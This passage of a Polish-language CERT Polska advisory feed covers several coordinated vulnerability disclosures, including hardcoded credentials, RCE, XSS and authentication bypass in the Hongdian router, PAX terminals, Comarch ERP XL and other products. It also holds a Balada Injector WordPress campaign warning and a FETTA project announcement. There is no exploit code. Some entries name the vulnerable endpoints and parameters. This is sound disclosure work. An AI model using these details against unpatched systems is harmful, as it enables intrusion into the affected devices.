type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności we &lt;a href="https://www.apaczka.pl/integracje/prestashop/konfiguracja/"&gt;wtyczce Apaczka do platformy PrestaShop&lt;/a&gt; i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-2759"&gt;CVE-2024-2759&lt;/a&gt; umożliwia pozyskanie danych zawartych w zapisanych szablonach wysyłek (w tym danych klientów) bez uwierzytelniania. Producent potwierdził usunięcie podatności w wersji v5.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Jakubowi Przepiórze.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu CDeX</title><link href="https://cert.pl/posts/2024/03/CVE-2024-2463/" rel="alternate"></link><published>2024-03-21T12:00:00+01:00</published><updated>2024-03-21T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-03-21:/posts/2024/03/CVE-2024-2463/</id><summary type="html">W oprogramowaniu CDeX wykryto 3 podatności różnego typu (od CVE-2024-2463 do CVE-2024-2465).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu CDeX i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-2463"&gt;CVE-2024-2463&lt;/a&gt; dotyczy podatnego mechanizmu odzyskiwania hasła, który pozwala na pozyskanie tokenu resetowania hasła dla dowolnego użytkownika.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-2464"&gt;CVE-2024-2464&lt;/a&gt; umożliwia na podstawie komunikatów zwracanych podczas resetu hasła ustalenie, czy użytkownik jest prawidłowy, czy nie. Pozwala to stworzyć listę użytkowników aplikacji, co może prowadzić do prób odgadnięcia ich haseł.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-2465"&gt;CVE-2024-2465&lt;/a&gt; umożliwia przekierowanie użytkowników na dowolne strony internetowe za pośrednictwem specjalnie spreparowanego adresu URL.&lt;/p&gt;
&lt;p&gt;Producent oprogramowania potwierdził usunięcie podatności w wersjach oprogramowania nowszych niż 5.7.1.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy dr. inż. Michałowi Walkowskiemu.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu BMC Control-M</title><link href="https://cert.pl/posts/2024/03/CVE-2024-1604/" rel="alternate"></link><published>2024-03-18T12:00:00+01:00</published><updated>2024-03-18T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-03-18:/posts/2024/03/CVE-2024-1604/</id><summary type="html">W oprogramowaniu BMC Control-M wykryto 3 podatności różnego typu (od CVE-2024-1604 do CVE-2024-1606).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu BMC Control-M i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-1604"&gt;CVE-2024-1604&lt;/a&gt; występuje w module 
zarządzania i tworzenia raportów. Pozwala ona zalogowanym użytkownikom na odczyt i wprowadzanie nieautoryzowanych zmian w dowolnych 
raportach dostępnych w aplikacji, nawet bez odpowiednich uprawnień. Osoba atakująca musi znać unikatowy identyfikator 
raportu, który chce modyfikować. Podatność została usunięta dla gałęzi 9.0.20 w wersji 9.0.20.238, natomiast dla gałęzi 9.0.21 w wersji 9.0.21.201.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-1605"&gt;CVE-2024-1605&lt;/a&gt; polega na ładowaniu (po zalogowaniu się 
użytkownika) wszystkich bibliotek DLL z katalogu, który pozwala na odczyt i zapis wszystkim użytkownikom. 
Umożliwia to załadowanie i uruchomienie potencjalnie szkodliwych bibliotek.
Dla gałęzi 9.0.20 podatność została usunięta w wersji 9.0.20.238, natomiast dla gałęzi 9.0.21 w wersji 9.0.21.201.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-1606"&gt;CVE-2024-1606&lt;/a&gt; pozwala na modyfikowanie generowanych stron 
internetowych poprzez wstrzyknięcie kodu HTML. Może to doprowadzić np. do udanego ataku phishingowego, poprzez 
nakłonienie użytkowników do użycia hiperłącza wskazującego na witrynę internetową kontrolowaną przez osobę atakującą.
Dla gałęzi 9.0.20 podatność została usunięta w wersji 9.0.20.238, natomiast dla gałęzi 9.0.21 w wersji 9.0.21.200.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Maksymilianowi Kubiakowi oraz Dawidowi Małeckiemu z firmy AFINE.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu Laragon</title><link href="https://cert.pl/posts/2024/02/CVE-2024-0864/" rel="alternate"></link><published>2024-02-29T08:00:00+01:00</published><updated>2024-02-29T08:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-02-29:/posts/2024/02/CVE-2024-0864/</id><summary type="html">W otwartoźródłowym oprogramowaniu Laragon wykryto podatność RCE (CVE-2024-0864).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska w ramach badań własnych znalazł w otwartoźródłowym projekcie &lt;a href="https://laragon.org/"&gt;Laragon&lt;/a&gt; podatność pozwalającą na zdalne wykonanie kodu (RCE).  &lt;/p&gt;
&lt;p&gt;Laragon w domyślnej konfiguracji nie jest podatny. Uruchomienie załączonego pluginu &lt;a href="https://github.com/LPology/Simple-Ajax-Uploader"&gt;Simple Ajax Uploader&lt;/a&gt; skutkuje powstaniem luki wynikającej z nieprawidłowej walidacji wprowadzanych danych, która ma miejsce w pliku &lt;em&gt;file_upload.php&lt;/em&gt; służącym jako przykład wykorzystania pluginu.&lt;/p&gt;
&lt;p&gt;Podatności nadano identyfikator &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-0864"&gt;CVE-2024-0864&lt;/a&gt;. Najprawdopodobniej wszystkie wersje oprogramowania są podatne (włącznie z najnowszą 6.0.0), a z racji na utrudniony kontakt z twórcą, nie wiadomo czy luka zostanie usunięta w przyszłych wydaniach. &lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu Comarch ERP XL</title><link href="https://cert.pl/posts/2024/02/CVE-2023-4537/" rel="alternate"></link><published>2024-02-15T12:00:00+01:00</published><updated>2024-02-15T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-02-15:/posts/2024/02/CVE-2023-4537/</id><summary type="html">W oprogramowaniu Comarch ERP XL wykryto trzy podatności (CVE-2023-4537, CVE-2023-4538, CVE-2023-4539).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Comarch ERP XL i koordynował proces ujawniania informacji. Podatności zostały potwierdzone przez producenta oraz otrzymały poprawki bezpieczeństwa.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-4537"&gt;CVE-2023-4537&lt;/a&gt; pozwala na obniżenie wersji protokołu MS SQL do postaci niezaszyfrowanej. Aplikacja akceptuje żądania downgrade protokołu nadchodzące ze strony serwera, co umożliwia podsłuchanie i modyfikację komunikacji.&lt;/li&gt;
&lt;li&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-4538"&gt;CVE-2023-4538&lt;/a&gt; polega na niedostatecznym chronieniu danych uwierzytelniających.
Skonfigurowane podczas instalacji dane logowania do bazy danych są przechowywane w specjalnej tabeli i szyfrowane za pomocą takiego samego, współdzielonego klucza we wszystkich podatnych wersjach programu Comarch ERP XL.
Umożliwia to atakującemu mającemu dostęp do tej tabeli pobranie haseł w postaci niezaszyfrowanej.&lt;/li&gt;
&lt;li&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-4539"&gt;CVE-2023-4539&lt;/a&gt; umożliwia uzyskanie dostępu do informacji przechowywanych w bazie danych. To samo, zakodowane na stałe hasło do specjalnego konta w bazie, jest używane we wszystkich podatnych instalacjach programu Comarch ERP XL.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy dr. inż. Marcinowi Ochabowi. &lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category><category term="top"></category></entry><entry><title>Podatność w aplikacji iZZi connect</title><link href="https://cert.pl/posts/2024/02/CVE-2024-0390/" rel="alternate"></link><published>2024-02-15T10:00:00+01:00</published><updated>2024-02-15T10:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-02-15:/posts/2024/02/CVE-2024-0390/</id><summary type="html">W aplikacji iZZi connect firmy INPRAX wykryto podatność polegającą na możliwości odczytania zaszytych na stałe w kodzie aplikacji danych dostępowych (CVE-2024-0390).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w aplikacji &lt;a href="https://play.google.com/store/apps/details?id=inprax.izzi"&gt;iZZi connect&lt;/a&gt; i uczestniczył w jej koordynacji. 
Aplikacja zawiera zakodowane na stałe, niezmienne we wszystkich istalacjach, dane logowania do technicznego konta z dostępem do kolejki MQTT.
Kolejka ta jest również wykorzystywana przez powiązaną z aplikacją fizyczną centralę rekuperacji. 
Wykorzystanie tej podatności potencjalnie umożliwia nieautoryzowany dostęp do zarządzania i odczytu parametrów centrali rekuperacyjnej "reQnet iZZi". &lt;/p&gt;
&lt;p&gt;Podatność, której nadano identyfikator &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-0390"&gt;CVE-2024-0390&lt;/a&gt;, została potwierdzona przez producenta i naprawiona w wersji 
2024010401 opublikowanej 08.01.2024 r.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Kampania Balada Injector infekuje strony WordPress wykorzystując popularne wtyczki</title><link href="https://cert.pl/posts/2024/02/balada-injector/" rel="alternate"></link><published>2024-02-02T12:00:00+01:00</published><updated>2024-02-02T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-02-02:/posts/2024/02/balada-injector/</id><summary type="html">W ostatnich tygodniach zespół CERT Polska obserwuje wzmożoną kampanię ataków z użyciem szkodliwego oprogramowania Balada Injector, które infekuje strony oparte na WordPressie korzystając z podatności w niektórych popularnych wtyczkach.</summary><content type="html">&lt;style&gt;
.article .thumbnail {
    display: inline-block;
    margin: 0 0 5px 20px;
    float: right;
    width: 100%;
    max-width: 450px;
}
&lt;/style&gt;

&lt;p&gt;&lt;img class="thumbnail" src="/uploads/2024/02/balada-injector/thumbnail.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;Jeżeli zdarzyło Wam się, że po wejściu na stronę internetową zostaliście przekierowani na podejrzane witryny informujące o wygranej na loterii czy wymuszające włączenie powiadomień push, to prawdopodobnie było to spowodowane infekcją strony przez Balada Injector.
Złośliwe przekierowanie najczęściej ujawnia się tylko za pierwszym razem i przy ponownych odwiedzinach otrzymujemy oczekiwaną zawartość strony. Takie przekierowanie to niestety objaw tego, że atakujący mają pełny dostęp do treści i możliwość zarządzania odwiedzaną witryną.&lt;/p&gt;
&lt;p&gt;Szkodliwe oprogramowanie Balada Injector od 2017 roku systematycznie wykorzystuje luki w zabezpieczeniach
wtyczek do systemu WordPress, aby uzyskać uprawnienia administratora na zaatakowanych stronach. &lt;/p&gt;
&lt;h2&gt;Wykorzystanie popularnej wtyczki Popup Builder&lt;/h2&gt;
&lt;p&gt;13 grudnia 2023 r. rozpoczęła się kolejna fala infekcji stron internetowych, tym razem z użyciem popularnej wtyczki
Popup Builder w wersji do 4.2.3, w których wykryto podatność &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2023-6000"&gt;CVE-2023-6000&lt;/a&gt;. Wtyczka służy do tworzenia "wyskakujących okienek" z komunikatami.
Po pomyślnym wykorzystaniu luka pozwala atakującym na wykonanie w panelu witryny dowolnej czynności, w tym zainstalowanie wtyczek i utworzenie nowych kont administratorów.
Szczegóły techniczne dotyczące wstrzyknięcia i wykrywania obecności szkodliwego kodu zostały opisane na &lt;a href="https://blog.sucuri.net/2024/01/thousands-of-sites-with-popup-builder-compromised-by-balada-injector.html"&gt;blogu Sucuri&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Rozesłaliśmy powiadomienia do administratorów stron internetowych zarejestrowanych w domenie .pl, które znalazły się w &lt;a href="https://github.com/CronUp/EnAnalisis/blob/main/2024-01-16_BaladaInjector_CompromisedDomains"&gt;publicznie dostępnych wynikach skanowania pod kątem infekcji&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Jak zabezpieczyć stronę przed Balada Injector?&lt;/h3&gt;
&lt;p&gt;Zabezpieczenie strony internetowej opartej o WordPress powinno polegać przede wszystkim na systematycznym aktualizowaniu oprogramowania, w tym stosowanych wtyczek i ich usuwaniu, jeżeli nie są już wspierane. Jedyną metodą, która zapewnia wysoką skuteczność jest stosowanie wbudowanych mechanizmów automatycznej aktualizacji. Należy pamiętać także o stosowaniu uwierzytelniania dwuskładnikowego, unikalnych i &lt;a href="https://cert.pl/hasla/"&gt;silnych haseł&lt;/a&gt;, a także o ograniczaniu uprawnień użytkowników.&lt;/p&gt;
&lt;p&gt;W przypadku wykrycia infekcji witryny, aby uniemożliwić złośliwe przekierowanie nie wystarczy usunięcie podatnej wtyczki. Należy uznać, że atakujący mógł posiadać pełny dostęp do plików strony. Należy prześledzić i usunąć wszelkie nieautoryzowane zmiany w kodzie strony, przejrzeć listę użytkowników oraz zmienić ich hasła. Najpewniejszym rozwiązaniem jest stworzenie witryny od nowa, bez kopiowania plików pomiędzy serwerami, lub wykorzystać kopię zapasową z czasu gdy wtyczka nie była jeszcze zainstalowana. Konieczne jest także przyjęcie założenia, że atakujący zdobyli wszystkie informacje znajdujące się na stronach i w połączonej bazie danych.&lt;/p&gt;
&lt;p&gt;W odpowiedzi na ostatnią kampanię zespół CERT Polska dodał sprawdzenie, czy strona została zainfekowana oprogramowaniem Balada Injector wykorzystującą podatną wtyczkę Popup Builder, jako regułę do skanera &lt;a href="https://github.com/projectdiscovery/nuclei"&gt;Nuclei&lt;/a&gt;, z którego korzysta rozwijane przez nas &lt;a href="https://github.com/CERT-Polska/Artemis"&gt;narzędzie Artemis&lt;/a&gt;.&lt;/p&gt;</content><category term="News"></category><category term="ostrzeżenie"></category><category term="BaladaInjector"></category><category term="WordPress"></category><category term="PopupBuilder"></category></entry><entry><title>Cyberbezpieczeństwo ponad granicami: Projekt FETTA czyli pogłębienie współpracy w zakresie rozpoznania zagrożeń cyberprzestrzeni EU</title><link href="https://cert.pl/posts/2024/01/fetta/" rel="alternate"></link><published>2024-01-31T18:20:00+01:00</published><updated>2024-01-31T18:20:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-01-31:/posts/2024/01/fetta/</id><summary type="html">Jednym z kluczowych wyzwań związanych z europejskim cyberbezpieczeństwem jest zależność od danych pochodzących z krajów spoza UE. Projekt FETTA (Federated European Team for Threat Analysis, pol. Europejski Zespół Analizy Zagrożeń) ma na celu rozwiązanie tego problemu poprzez utworzenie międzynarodowego zespołu opracowującego produkty i narzędzia z zakresu Cyber Threat Intelligence (CTI).</summary><content type="html">&lt;style&gt;
.article .thumbnail {
    display: inline-block;
    margin: 0 0 5px 20px;
    float: right;
    width: 100%;
    max-width: 450px;
}
&lt;/style&gt;

&lt;p&gt;&lt;img class="thumbnail" src="/uploads/2024/01/fetta/thumbnail.png" /&gt;&lt;/p&gt;
&lt;p&gt;Jednym z kluczowych wyzwań związanych z europejskim cyberbezpieczeństwem jest zależność od danych pochodzących z krajów spoza UE. Projekt FETTA (Federated European Team for Threat Analysis, pol. Europejski Zespół Analizy Zagrożeń) ma na celu rozwiązanie tego problemu poprzez utworzenie międzynarodowego zespołu opracowującego produkty i narzędzia z zakresu Cyber Threat Intelligence (CTI). &lt;/p&gt;
&lt;p&gt;Powstanie FETTA jest wynikiem wniosku złożonego do inicjatywy Cybersecurity and Trust w ramach programu Digital Europe. Projekt jest współfinansowany przez Unię Europejską w ramach Europejskiej Sieci Cyberbezpieczeństwa i Centrum Kompetencji w dziedzinie Cyberbezpieczeństwa (ECCC). &lt;/p&gt;
&lt;p&gt;Głównym zadaniem FETTA jest wspólne analizowaniu danych pozyskanych w ramach UE w celu opracowania produktów i rozwiązań z zakresu CTI. &lt;/p&gt;
&lt;p&gt;Projekt FETTA powstał, aby ułatwić współpracę i dzielenie się wiedzą w obszarze CTI. Jest on odpowiedzią na wyzwania wynikające ze złożoności i wieloaspektowości zagadnień związanych z cyberbezpieczeństwem. &lt;/p&gt;
&lt;p&gt;Projekt będzie bazować na rozwiązaniach open source opracowanych przez partnerów (CERT.PL i &lt;a href="https://www.circl.lu/"&gt;CIRCL&lt;/a&gt;), takich jak &lt;a href="https://www.misp-project.org/"&gt;MISP&lt;/a&gt;, &lt;a href="https://github.com/CERT-Polska/mwdb-core"&gt;MWDB&lt;/a&gt;, &lt;a href="https://www.cerebrate-project.org/"&gt;Cerebrate&lt;/a&gt;, &lt;a href="https://www.ail-project.org/"&gt;projekt AIL&lt;/a&gt; i narzędzie &lt;a href="https://github.com/CERT-Polska/n6"&gt;n6&lt;/a&gt;. W ramach FETTA będą one wykorzystywane do rozwijania rozwiązań ułatwiających współpracę w zakresie pozyskiwania, analizy i rozpowszechniania danych związanych z Cyber Threat Intelligence. &lt;/p&gt;
&lt;p&gt;Cele projektu FETTA to definiowanie wymagań i procesów oraz dostarczanie produktów z dziedziny CTI. A główna idea to odciążenie zespołów krajowych, które traciły cenny czas dublując zadania.  &lt;/p&gt;
&lt;p&gt;Wyniki pracy FETTA, czyli narzędzia i metodyki będą publikowane jako nowe projekty open source lub aktualizacje już istniejących narzędzi open source. &lt;/p&gt;
&lt;p&gt;Idea projektu FETTA to stworzenie wirtualnego zespołu CTI obejmującego wiele krajowych zespołów CSIRT w celu dzielenia się wiedzą, narzędziami i danymi i współpracy w zakresie analizy Cyber Threat Intelligence. Takie podejście ma na celu dalszą poprawę orientacji w krajobrazie cyberbezpieczeństwa, a także ułatwienie szybkiego rozpoznawania i reagowania na pojawiające się zagrożenia. &lt;/p&gt;
&lt;h3&gt;O partnerach&lt;/h3&gt;
&lt;h4&gt;CERT Polska&lt;/h4&gt;
&lt;p&gt;CERT Polska to krajowy zespół CSIRT zajmujący się reagowaniem na incydenty i zagrożenia związane z cyberbezpieczeństwem w Polsce. Znany jest ze swojego kompleksowego podejścia do cyberbezpieczeństwa i orientacji w krajobrazie cyberzagrożeń i jego implikacji dla bezpieczeństwa narodowego. Jako lider projektu FETTA, CERT Polska rozumie znaczenie analizy skomplikowanych zagrożeń i dostarczania praktycznej wiedzy. Udział CERT Polska w projekt FETTA to dowód na jego zaangażowanie w poprawę cyberbezpieczeństwa nie tylko w Polsce, ale również w całej Unii Europejskiej. &lt;/p&gt;
&lt;h4&gt;CIRCL (Computer Incident Response Center Luxembourg)&lt;/h4&gt;
&lt;p&gt;Computer Incident Response Center Luxembourg (&lt;a href="https://www.circl.lu/"&gt;CIRCL&lt;/a&gt;) to inicjatywa rządowa, która ma na celu zapewnienie wsparcia w zakresie reagowania na zagrożenia i incydenty związane z cyberbezpieczeństwem w Luksemburgu. Do projektu FETTA, &lt;a href="https://www.circl.lu/"&gt;CIRCL&lt;/a&gt; wnosi swoje szerokie doświadczenie w zarządzaniu incydentami związanymi z cyberbezpieczeństwem oraz rozpoznawania zagrożeń cyberprzestrzeni. &lt;a href="https://www.circl.lu/"&gt;CIRCL&lt;/a&gt; może także pochwalić się rozwojem wielu innowacyjnych narzędzi open source. Wkład CIRCL w projekt FETTA jest kluczowy dla osiągnięcia zwiększonej współpracy i dzielenia się informacjami w Europie. &lt;/p&gt;</content><category term="News"></category><category term="FETTA"></category></entry><entry><title>Podatności w terminalach płatniczych firmy PAX</title><link href="https://cert.pl/posts/2024/01/CVE-2023-4818/" rel="alternate"></link><published>2024-01-15T12:00:00+02:00</published><updated>2024-01-15T12:00:00+02:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-01-15:/posts/2024/01/CVE-2023-4818/</id><summary type="html">W oprogramowaniu różnych modeli terminali płatniczych firmy PAX wykryto łącznie 5 podatności (CVE-2023-4818, CVE-2023-42134, CVE-2023-42135, CVE-2023-42136, CVE-2023-42137).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu różnych modeli terminali płatniczych POS (Point Of Sale) firmy PAX i koordynował proces ujawniania informacji. Wszystkie podatności zostały potwierdzone przez producenta oraz otrzymały adresujące je poprawki bezpieczeństwa. Szczegóły techniczne zostały opisane na &lt;a href="https://blog.stmcyber.com/pax-pos-cves-2023/"&gt;stronie znalazców błędów&lt;/a&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Błędne sprawdzanie wersji opisane w podatności &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-4818"&gt;CVE-2023-4818&lt;/a&gt; w urządzeniu PAX A920 pozwala na wgranie starszej wersji bootloadera pod warunkiem, że jest on poprawnie podpisany przez firmę PAX. Do przeprowadzenia ataku wymagany jest dostęp do portu USB urządzenia.&lt;/li&gt;
&lt;li&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-42134"&gt;CVE-2023-42134&lt;/a&gt; we wszystkich urządzeniach POS opartych o system Android z oprogramowaniem w wersji PayDroid_8.1.0_Sagittarius_V11.1.45_20230314 lub niższej pozwala skorzystać w nieudokumentowanej komendy aby nadpisać podpisaną partycję, w konsekwencji czego możliwe jest lokalne wykonanie kodu. Do przeprowadzenia ataku wymagany jest dostęp do portu USB urządzenia.&lt;/li&gt;
&lt;li&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-42135"&gt;CVE-2023-42135&lt;/a&gt; w urządzeniach PAX A920Pro oraz A50 z oprogramowaniem PayDroid_8.1.0_Sagittarius_V11.1.50_20230614 opisuje ominięcie walidacji wprowadzanych do urządzenia danych podczas flashowania jednej z partycji, dzięki czemu możliwe jest wstrzyknięcie dodatkowego parametru i lokalne wykonanie kodu.
Do przeprowadzenia ataku wymagany jest dostęp do portu USB urządzenia.&lt;/li&gt;
&lt;li&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-42136"&gt;CVE-2023-42136&lt;/a&gt; we wszystkich urządzeniach POS opartych o system Android z oprogramowaniem w wersji PayDroid_8.1.0_Sagittarius_V11.1.50_20230614 lub niższej pozwala na lokalne wykonanie komend z przywilejami konta systemowego poprzez wstrzyknięcie spreparowanego polecenia powłoki. Do przeprowadzenia ataku wymagany jest dostęp do powłoki urządzenia.&lt;/li&gt;
&lt;li&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-42137"&gt;CVE-2023-42137&lt;/a&gt; we wszystkich urządzeniach POS opartych o system Android z oprogramowaniem w wersji PayDroid_8.1.0_Sagittarius_V11.1.50_20230614 lub niższej pozwala na wykonanie komend z wysokimi uprawnieniami poprzez użycie spreparowanych dowiązań symbolicznych. Do przeprowadzenia ataku wymagany jest dostęp do powłoki urządzenia.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Hubertowi Jasudowiczowi, Adamowi Klisiowi oraz pozostałym członkom zespołu STM Cyber R&amp;amp;D. &lt;/p&gt;</content><category term="CVE"></category><category term="vulnerability"></category><category term="warning"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu routera Hongdian H8951-4G-ESP</title><link href="https://cert.pl/posts/2024/01/CVE-2023-49253/" rel="alternate"></link><published>2024-01-12T10:00:00+01:00</published><updated>2024-01-12T10:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-01-12:/posts/2024/01/CVE-2023-49253/</id><summary type="html">W oprogramowaniu routera Hongdian H8951-4G-ESP wykryto 10 podatności różnego typu (od CVE-2023-49253 do CVE-2023-49262).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu routera Hongdian H8951-4G-ESP i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-49253"&gt;CVE-2023-49253&lt;/a&gt; to predefiniowane hasło administratora root. Domyślne hasło administratora root znane producentowi jest zakodowane na stałe w urządzeniu i nie można go zmienić w interfejsie użytkownika.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-49254"&gt;CVE-2023-49254&lt;/a&gt; umożliwia uwierzytelnionemu użytkownikowi wykonywanie dowolnych poleceń z uprawnieniami administratora root poprzez ustawienie pola "destination" w narzędziach do testowania sieci. Jest ona podobna do podatności &lt;a href="https://www.cve.org/CVERecord?id=CVE-2021-28151"&gt;CVE-2021-28151&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-49255"&gt;CVE-2023-49255&lt;/a&gt; umożliwia uzyskanie dostępu do konsoli routera bez uwierzytelnienia. Dostęp do terminala routera jest możliwy za pomocą parametru "data". Użytkownik anonimowy może wykonywać polecenia z uprawnieniami użytkownika aktualnie zalogowanego.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-49256"&gt;CVE-2023-49256&lt;/a&gt; umożliwia anonimowe pobranie kopii zapasowej pliku konfiguracyjnego i odszyfrowanie haseł używając stałego klucza.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-49257"&gt;CVE-2023-49257&lt;/a&gt; umożliwia uwierzytelnionemu użytkownikowi dowolnego pliku w formacie CGI używając możliwości przesłania certyfikatu i wykonanie go z uprawnieniami administratora root.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-49258"&gt;CVE-2023-49258&lt;/a&gt; umożliwia atak typu cross-site scripting (XSS) pod adresem "/gui/terminal_tool.cgi" za pomocą parametru "data".&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-49259"&gt;CVE-2023-49259&lt;/a&gt; umożliwia zgadnięcie ciasteczek z danymi uwierzytelniania, które są generowane przy użyciu słabego algorytmu w oparciu o nazwę użytkownika, stały sekret i czas działania.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-49260"&gt;CVE-2023-49260&lt;/a&gt; umożliwia zmianę bannera MOTD i wykonanie ataku typu cross-site scripting (XSS).&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-49261"&gt;CVE-2023-49261&lt;/a&gt; umożliwia odczytanie wartości "tokenKey" z kodu źródłowego HTML strony logowania.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-49262"&gt;CVE-2023-49262&lt;/a&gt; umożliwia ominięcie mechanizmu uwierzytelniania poprzez przekroczenie zakresu wartości pola w ciasteczku "authentication", o ile istnieje aktywna sesja użytkownika.&lt;/p&gt;
&lt;p&gt;Firma Hongdian usunęła podatności w wersji (build) 2310271149, co zostało potwierdzone przez zgłaszającego. &lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Robertowi Pogorzelskiemu z firmy SEQRED.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu Kofax Capture</title><link href="https://cert.pl/posts/2024/01/CVE-2023-5118/" rel="alternate"></link><published>2024-01-11T10:00:00+01:00</published><updated>2024-01-11T10:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-01-11:/posts/2024/01/CVE-2023-5118/</id><summary type="html">W oprogramowaniu Kofax Capture wykryto podatność typu Stored XSS (CVE-2023-5118).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
